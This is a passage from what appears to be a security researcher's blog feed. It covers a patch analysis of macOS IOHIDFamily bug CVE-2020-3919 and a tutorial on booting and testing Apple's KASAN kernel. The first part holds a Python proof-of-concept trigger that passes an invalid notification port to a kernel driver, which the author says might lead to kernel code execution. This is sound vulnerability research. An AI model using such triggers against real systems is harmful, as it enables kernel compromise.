  <span class="kt">long</span> <span class="n">lVar2</span><span class="p">;</span>
  
  <span class="n">lVar2</span> <span class="o">=</span> <span class="n">CONCAT44</span><span class="p">(</span><span class="n">in_register_00000034</span><span class="p">,</span><span class="n">param_2</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">_ipc_port_release_send</span><span class="p">();</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">_IOFree</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">),</span><span class="mh">0x20</span><span class="p">);</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">puVar1</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="n">_IOMalloc</span><span class="p">(</span><span class="mh">0x20</span><span class="p">);</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">=</span> <span class="n">puVar1</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">puVar1</span> <span class="o">==</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="mh">0xe00002bd</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">)</span> <span class="o">=</span> <span class="n">lVar2</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">lVar2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puVar1</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="n">puVar1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="n">puVar1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="o">*</span><span class="n">puVar1</span> <span class="o">=</span> <span class="mh">0x2000000013</span><span class="p">;</span>
      <span class="n">lVar2</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">);</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">lVar2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">_mach_msg_send_from_kernel_proper</span><span class="p">(</span><span class="n">lVar2</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar2</span> <span class="o">+</span> <span class="mi">4</span><span class="p">));</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">_IOFree</span><span class="p">(</span><span class="n">puVar1</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>                       <span class="c1">// New code added. </span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="mh">0xe00002c7</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x110</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">_ipc_port_release_send</span><span class="p">();</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x110</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x110</span><span class="p">)</span> <span class="o">=</span> <span class="n">lVar2</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>With the updated code we can see that two additional lines have been added to free the memory and zero the fValidMessage pointer:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_IOFree</span><span class="p">(</span><span class="n">puVar1</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>                          <span class="c1">// _IOFree(fValidMessage,0x20); </span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>          <span class="c1">// fValidMessage = 0</span>
</code></pre></div></div>

<p>From this you can see it is possible to trigger the bug by passing an invalid notification port to an IOHIDLibUserClient. I will make use of the coralsun library to simplify the POC trigger code.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">iokitlib</span>

<span class="c1"># IOHIDLibUserClient
</span><span class="n">iokit</span> <span class="o">=</span> <span class="n">iokitlib</span><span class="p">.</span><span class="n">iokit</span><span class="p">()</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">iokit</span><span class="p">.</span><span class="n">open_service</span><span class="p">(</span><span class="sa">b</span><span class="s">"IOHIDDevice"</span><span class="p">,</span><span class="mi">4737348</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">conn</span><span class="p">)</span>

<span class="c1"># Open the device with selector 1.
</span><span class="n">selector</span> <span class="o">=</span> <span class="mi">1</span>

<span class="n">input_scalar</span> <span class="o">=</span> <span class="p">[</span><span class="mi">10</span><span class="p">]</span>
<span class="n">input_struct</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">output_scalar</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">output_struct</span> <span class="o">=</span> <span class="bp">None</span> 

<span class="n">kr</span> <span class="o">=</span> <span class="n">iokit</span><span class="p">.</span><span class="n">connect_call_method</span><span class="p">(</span><span class="n">conn</span><span class="p">,</span><span class="n">selector</span><span class="p">,</span><span class="n">input_scalar</span><span class="p">,</span><span class="n">input_struct</span><span class="p">,</span><span class="n">output_scalar</span><span class="p">,</span><span class="n">output_struct</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">kr</span><span class="p">)</span> 

<span class="c1"># Now pass an invalid port in of type 1. 
</span><span class="n">iokit</span><span class="p">.</span><span class="n">ioconnect_setnotificationport</span><span class="p">(</span><span class="n">conn</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span>

</code></pre></div></div>

<p>Using this it may be possible to get IOKit to use uninitialised memory which is previously attacker controlled and achieve code execution within the kernel context. Exploitation is left an excercise for the reader :)</p>]]></content><author><name>Alex Plaskett</name></author><category term="Apple" /><category term="XNU" /><category term="IOKit" /><summary type="html"><![CDATA[Recently Apple patched a vulnerability (CVE-2020-3919) in IOHIDFamily in their security update 10.15.4 which may allow a malicious application to execute arbitrary code with kernel privileges. It turns out this bug also affected iOS too.]]></summary></entry><entry><title type="html">A brief introduction into KASAN on macOS Catalina</title><link href="https://alexplaskett.github.io/macos-kasan/" rel="alternate" type="text/html" title="A brief introduction into KASAN on macOS Catalina" /><published>2020-02-18T00:00:00+00:00</published><updated>2020-02-18T00:00:00+00:00</updated><id>https://alexplaskett.github.io/macos-kasan</id><content type="html" xml:base="https://alexplaskett.github.io/macos-kasan/"><![CDATA[<p>This article will show some initial research into booting a KSAN kernel, testing the KASAN functionality and some initial groundwork on KSANCOV. This functionality is super useful when performing kernel crash triage or fuzzing against macOS.</p>

<p>KSAN is Apple’s implementation of <a href="https://github.com/google/sanitizers/wiki/AddressSanitizer">AddressSanitizer</a> within the kernel and is used to detect memory errors.</p>

<p>Apple has recently published “Kernel Debug Kit 10.15.4 build 19E287”, which is actually the KDK for the latest production macOS version (10.15.4 Supplemental Updates) at the time of writing. In the past the KDK versions have often lagged to the current version or have only been available for beta builds. These build versions provide a good base for investigation into KASAN without having symbol issues to deal with due to mixed versions.</p>

<p><del>At the time of writing the dependancies for 10.15 have not been published on <a href="https://opensource.apple.com/release/macos-1015.html">Apple Opensource</a> preventing building a KSAN kernel from source (EDIT: more sources were added yesterday so this might now be buildable!). However, a number of KDK builds have been published which include KASAN support. Unfortunately, there are no KDK builds for the stable release version of the OS. However, a developer build version kernel can be booted on the right version of a production macOS with a bit of hackery. For example, macOS 10.15.2 (19C57) can use KDK_10.15.2_19C39d.kdk kernel and successfully boot with no dependancy or symbol issues.</del></p>

<p>Within the KDK (/Library/Developer/KDKs/KDK_10.15.4_19E287.kdk/System/Library/Kernels/) we have the following versions of the kernel:</p>
<ul>
  <li>kernel (release build)</li>
  <li>kernel.debug (debug)</li>
  <li>kernel.development (development)</li>
  <li>kernel.kasan (kasan)</li>
</ul>

<p>As a quick check before deployment we can compare the existing production kernel hash against the release kernel in the KDK (and see they match):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>3734120155ff70c7a05c1b46d26cc1622a6c46ff  /Library/Developer/KDKs/KDK_10.15.4_19E287.kdk/System/Library/Kernels/kernel
3734120155ff70c7a05c1b46d26cc1622a6c46ff  /System/Library/Kernels/kernel
</code></pre></div></div>

<p>Now we can deploy both the kernels and IOKit drivers to the guest VM. After we have installed the KDK package onto the VM. The process for deploying and selecting the kasan kernel to boot is as follows (this requires SIP disabled):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>mount <span class="nt">-uw</span> /
<span class="nb">sudo cp</span> /Library/Developer/KDKs/KDK_10.15.4_19E287.kdk/System/Library/Kernels/kernel.kasan /System/Library/Kernels/
<span class="nb">sudo cp</span> <span class="nt">-r</span> /Library/Developer/KDKs/KDK_10.15.4_19E287.kdk/System/Library/Extensions/ /System/Library/Extensions/
<span class="nb">sudo </span>kextcache <span class="nt">-invalidate</span> /
<span class="nb">sudo </span>nvram boot-args<span class="o">=</span><span class="s2">"-v keepsyms=1 debug=0x2444 kasan.checks=24576 -zp -zc kcsuffix=kasan"</span>
</code></pre></div></div>

<p>After rebooting into the kernel we should see we are running within the KASAN kernel (in uname -a output):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Darwin Mac.local 19.4.0 Darwin Kernel Version 19.4.0: Wed Mar  4 22:30:14 PST 2020<span class="p">;</span> root:xnu_kasan-6153.101.6~12/KASAN_X86_64 x86_64
</code></pre></div></div>
<p>It should be noted that within the KDK there are also IOKit kernel extensions compiled with KSAN. This can be very useful if analyzing a bug within a kernel extension which is provided.</p>

<p>To check that a KEXT is loaded with KASAN we can examined the UUID and check they match:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>kextstat | <span class="nb">grep </span>IOHID
   53    3 0xffffff7f820eb000 0x1e4000   0x1e4000   com.apple.iokit.IOHIDFamily <span class="o">(</span>2.0.0<span class="o">)</span> 9DAEAA3D-2F24-31D1-9065-EB5871936466 &lt;17 8 7 6 5 3 2 1&gt;
<span class="nv">$ </span>dwarfdump <span class="nt">-u</span> /Library/Developer/KDKs/KDK_10.15.4_19E287.kdk/System/Library/Extensions/IOHIDFamily.kext/Contents/MacOS/IOHIDFamily_kasan
UUID: 9DAEAA3D-2F24-31D1-9065-EB5871936466 <span class="o">(</span>x86_64<span class="o">)</span> /Library/Developer/KDKs/KDK_10.15.4_19E287.kdk/System/Library/Extensions/IOHIDFamily.kext/Contents/MacOS/IOHIDFamily_kasan
</code></pre></div></div>

<p>And we can check that KASAN is loaded correctly by examining ‘sysctl kern.kasan.available’ which should be 1 if running under KASAN.</p>

<p>There are a number of other sysctl’s which describe kasan’s operation and can be tweaked:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>boxname:~ user<span class="nv">$ </span>sysctl <span class="nt">-a</span> | <span class="nb">grep </span>kasan
kern.version: Darwin Kernel Version 19.4.0: Wed Mar  4 22:30:14 PST 2020<span class="p">;</span> root:xnu_kasan-6153.101.6~12/KASAN_X86_64
kern.bootargs: <span class="nt">-v</span> <span class="nv">keepsyms</span><span class="o">=</span>1 <span class="nv">debug</span><span class="o">=</span>0x2444 <span class="nt">-zp</span> <span class="nt">-zc</span> <span class="nv">kcsuffix</span><span class="o">=</span>kasan
kern.kasan.available: 1
kern.kasan.enabled: 1
kern.kasan.checks: 4294901759
kern.kasan.quarantine: 1
kern.kasan.report_ignored: 0
kern.kasan.free_yield_ms: 0
kern.kasan.leak_threshold: 3
kern.kasan.leak_fatal_threshold: 0
kern.kasan.memused: 22871
kern.kasan.memtotal: 131074
kern.kasan.kexts: 15
kern.kasan.debug: 0
kern.kasan.zalloc: 1
kern.kasan.kalloc: 1
kern.kasan.dynamicbl: 1
kern.kasan.fakestack: 0
kern.kasan.test: 0
kern.kasan.fail: 0
</code></pre></div></div>
<p>We can test KASAN is functioning like so (Test double free):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>sysctl <span class="nt">-w</span> kern.kasan.test<span class="o">=</span>100
</code></pre></div></div>
<p>We should then see the following crash:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process 1 stopped
<span class="k">*</span> thread <span class="c">#1, stop reason = signal SIGSTOP</span>
    frame <span class="c">#0: 0xffffff801f0aae7e kernel.kasan`DebuggerTrapWithState + 78</span>
kernel.kasan<span class="sb">`</span>DebuggerTrapWithState:
-&gt;  0xffffff801f0aae7e &lt;+78&gt;: callq  0xffffff801f3fa7a0        <span class="p">;</span> current_processor
    0xffffff801f0aae83 &lt;+83&gt;: movl   0x5c0<span class="o">(</span>%rax<span class="o">)</span>, %ebx
    0xffffff801f0aae89 &lt;+89&gt;: xorl   %edi, %edi
    0xffffff801f0aae8b &lt;+91&gt;: xorl   %esi, %esi
Target 0: <span class="o">(</span>kernel.kasan<span class="o">)</span> stopped.
<span class="o">(</span>lldb<span class="o">)</span> bt
<span class="k">*</span> thread <span class="c">#1, stop reason = signal SIGSTOP</span>
  <span class="k">*</span> frame <span class="c">#0: 0xffffff801f0aae7e kernel.kasan`DebuggerTrapWithState + 78</span>
    frame <span class="c">#1: 0xffffff8020710756 kernel.kasan`panic_trap_to_debugger.cold.1 + 166</span>
    frame <span class="c">#2: 0xffffff801f0aba82 kernel.kasan`panic_trap_to_debugger + 338</span>
    frame <span class="c">#3: 0xffffff8020710392 kernel.kasan`panic + 98</span>
    frame <span class="c">#4: 0xffffff8020720209 kernel.kasan`kasan_report_internal.cold.1 + 25</span>
    frame <span class="c">#5: 0xffffff8020705694 kernel.kasan`kasan_report_internal + 820</span>
    frame <span class="c">#6: 0xffffff8020703233 kernel.kasan`kasan_crash_report + 51</span>
    frame <span class="c">#7: 0xffffff8020702ce1 kernel.kasan`kasan_violation + 673</span>
    frame <span class="c">#8: 0xffffff8020703f4f kernel.kasan`kasan_check_free + 207</span>
    frame <span class="c">#9: 0xffffff801f0ca459 kernel.kasan`kfree + 169</span>
    frame <span class="c">#10: 0xffffff8020706c69 kernel.kasan`heap_cleanup + 89</span>
    frame <span class="c">#11: 0xffffff80207068bd kernel.kasan`kasan_run_test + 429</span>
    frame <span class="c">#12: 0xffffff80207066c7 kernel.kasan`kasan_test + 71</span>
    frame <span class="c">#13: 0xffffff802070534b kernel.kasan`sysctl_kasan_test + 75</span>
    frame <span class="c">#14: 0xffffff8020064590 kernel.kasan`sysctl_root + 1904</span>
    frame <span class="c">#15: 0xffffff8020064dc5 kernel.kasan`sysctl + 1285</span>
    frame <span class="c">#16: 0xffffff80203bcf00 kernel.kasan`unix_syscall64 + 2192</span>
    frame <span class="c">#17: 0xffffff801f44be26 kernel.kasan`hndl_unix_scall64 + 22</span>

panic<span class="o">(</span>cpu 1 <span class="nb">caller </span>0xffffff8020720209<span class="o">)</span>: <span class="s2">"KASan: free of corrupted/invalid object 0xffffff802d3cd880
 Shadow             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
 fffff7f005a79ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 fffff7f005a79b10:[00]00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79b20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79b30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79b50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f005a79b60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
</span></code></pre></div></div>

<p>Looking through the sources for 10.15 (san/kasan-test.c) we can see tests for the following:</p>
<ul>
  <li>Global Overflows</li>
  <li>Heap Underflows</li>
  <li>Heap Overflows</li>
  <li>Heap Use-After-Frees</li>
  <li>Heap Invalid Frees</li>
  <li>Heap Double Frees</li>
  <li>Heap Small Frees</li>
  <li>Stack Overflows</li>
  <li>Stack Underflows</li>
  <li>Stack Use-After-Returns</li>
  <li>Specific operations which could read/write OOB (memcpy, memmove, bcopy, memset, bcmp, bzero, strlcpy, strlcat, strncat)</li>
</ul>

<p>The KASAN checks can be enabled or disabled by setting the nvram boot-args variable to contain ‘kasan.checks’, this is bitmask as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">unsigned</span> <span class="n">enabled_checks</span> <span class="o">=</span> <span class="n">TYPE_ALL</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">TYPE_LEAK</span><span class="p">;</span> <span class="cm">/* bitmask of enabled checks */</span>

<span class="k">enum</span> <span class="n">__attribute__</span><span class="p">((</span><span class="n">flag_enum</span><span class="p">))</span> <span class="n">kasan_access_types</span> <span class="p">{</span>
	<span class="n">TYPE_LOAD</span>    <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span>  <span class="cm">/* regular memory load */</span>
	<span class="n">TYPE_STORE</span>   <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span>  <span class="cm">/* regular store */</span>
	<span class="n">TYPE_MEMR</span>    <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>  <span class="cm">/* memory intrinsic (read) */</span>
	<span class="n">TYPE_MEMW</span>    <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">3</span><span class="p">),</span>  <span class="cm">/* memory intrinsic (write) */</span>
	<span class="n">TYPE_STRR</span>    <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">4</span><span class="p">),</span>  <span class="cm">/* string intrinsic (read) */</span>
	<span class="n">TYPE_STRW</span>    <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">5</span><span class="p">),</span>  <span class="cm">/* string intrinsic (write) */</span>
	<span class="n">TYPE_KFREE</span>   <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">6</span><span class="p">),</span>  <span class="cm">/* kfree() */</span>
	<span class="n">TYPE_ZFREE</span>   <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">7</span><span class="p">),</span>  <span class="cm">/* zfree() */</span>
	<span class="n">TYPE_FSFREE</span>  <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">8</span><span class="p">),</span>  <span class="cm">/* fakestack free */</span>

	<span class="n">TYPE_UAF</span>           <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">12</span><span class="p">),</span>
	<span class="n">TYPE_POISON_GLOBAL</span> <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">13</span><span class="p">),</span>
	<span class="n">TYPE_POISON_HEAP</span>   <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">14</span><span class="p">),</span>
	<span class="cm">/* no TYPE_POISON_STACK, because the runtime does not control stack poisoning */</span>
	<span class="n">TYPE_TEST</span>          <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">15</span><span class="p">),</span>
	<span class="n">TYPE_LEAK</span>          <span class="o">=</span> <span class="n">BIT</span><span class="p">(</span><span class="mi">16</span><span class="p">),</span>

	<span class="cm">/* masks */</span>
	<span class="n">TYPE_MEM</span>     <span class="o">=</span> <span class="n">TYPE_MEMR</span> <span class="o">|</span> <span class="n">TYPE_MEMW</span><span class="p">,</span>            <span class="cm">/* memory intrinsics */</span>
	<span class="n">TYPE_STR</span>     <span class="o">=</span> <span class="n">TYPE_STRR</span> <span class="o">|</span> <span class="n">TYPE_STRW</span><span class="p">,</span>            <span class="cm">/* string intrinsics */</span>
	<span class="n">TYPE_READ</span>    <span class="o">=</span> <span class="n">TYPE_LOAD</span> <span class="o">|</span> <span class="n">TYPE_MEMR</span> <span class="o">|</span> <span class="n">TYPE_STRR</span><span class="p">,</span>  <span class="cm">/* all reads */</span>
	<span class="n">TYPE_WRITE</span>   <span class="o">=</span> <span class="n">TYPE_STORE</span> <span class="o">|</span> <span class="n">TYPE_MEMW</span> <span class="o">|</span> <span class="n">TYPE_STRW</span><span class="p">,</span> <span class="cm">/* all writes */</span>
	<span class="n">TYPE_RW</span>      <span class="o">=</span> <span class="n">TYPE_READ</span> <span class="o">|</span> <span class="n">TYPE_WRITE</span><span class="p">,</span>           <span class="cm">/* reads and writes */</span>
	<span class="n">TYPE_FREE</span>    <span class="o">=</span> <span class="n">TYPE_KFREE</span> <span class="o">|</span> <span class="n">TYPE_ZFREE</span> <span class="o">|</span> <span class="n">TYPE_FSFREE</span><span class="p">,</span>
	<span class="n">TYPE_NORMAL</span>  <span class="o">=</span> <span class="n">TYPE_RW</span> <span class="o">|</span> <span class="n">TYPE_FREE</span><span class="p">,</span>
	<span class="n">TYPE_DYNAMIC</span> <span class="o">=</span> <span class="n">TYPE_NORMAL</span> <span class="o">|</span> <span class="n">TYPE_UAF</span><span class="p">,</span>
	<span class="n">TYPE_POISON</span>  <span class="o">=</span> <span class="n">TYPE_POISON_GLOBAL</span> <span class="o">|</span> <span class="n">TYPE_POISON_HEAP</span><span class="p">,</span>
	<span class="n">TYPE_ALL</span>     <span class="o">=</span> <span class="o">~</span><span class="mi">0U</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div></div>

<p>One interesting recent introduction is the detection of uninitialized memory on the heap:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* uninitialized memory detection */</span>
<span class="cp">#define KASAN_UNINITIALIZED_HEAP   0xbe
</span>
<span class="cm">/*
 * Check for possible uninitialized memory contained in [base, base+sz).
 */</span>
<span class="kt">void</span>
<span class="nf">kasan_check_uninitialized</span><span class="p">(</span><span class="n">vm_address_t</span> <span class="n">base</span><span class="p">,</span> <span class="n">vm_size_t</span> <span class="n">sz</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">enabled_checks</span> <span class="o">&amp;</span> <span class="n">TYPE_LEAK</span><span class="p">)</span> <span class="o">||</span> <span class="n">sz</span> <span class="o">&lt;</span> <span class="n">leak_threshold</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">vm_address_t</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">base</span><span class="p">;</span>
	<span class="n">vm_address_t</span> <span class="n">end</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">sz</span><span class="p">;</span>
	<span class="n">vm_size_t</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">vm_size_t</span> <span class="n">max_count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">vm_address_t</span> <span class="n">leak_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">byte</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">while</span> <span class="p">(</span><span class="n">cur</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">byte</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">cur</span><span class="p">;</span>
		<span class="n">count</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span> <span class="o">==</span> <span class="n">KASAN_UNINITIALIZED_HEAP</span><span class="p">)</span> <span class="o">?</span> <span class="p">(</span><span class="n">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&gt;</span> <span class="n">max_count</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">max_count</span> <span class="o">=</span> <span class="n">count</span><span class="p">;</span>
			<span class="n">leak_offset</span> <span class="o">=</span> <span class="n">cur</span> <span class="o">-</span> <span class="p">(</span><span class="n">count</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="n">base</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">cur</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">max_count</span> <span class="o">&gt;=</span> <span class="n">leak_threshold</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">kasan_report_leak</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="n">leak_offset</span><span class="p">,</span> <span class="n">max_count</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There is also a KSAN dynamic blacklist which can be used at compile time or a dynamic one using nvram flag ‘kasan.bl’:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span>
<span class="nf">kasan_init_dybl</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">simple_lock_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">_dybl_lock</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

	<span class="cm">/*
	 * dynamic blacklist entries via boot-arg. Syntax is:
	 *  kasan.bl=kext1:func1:type1,kext2:func2:type2,...
	 */</span>
	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">256</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
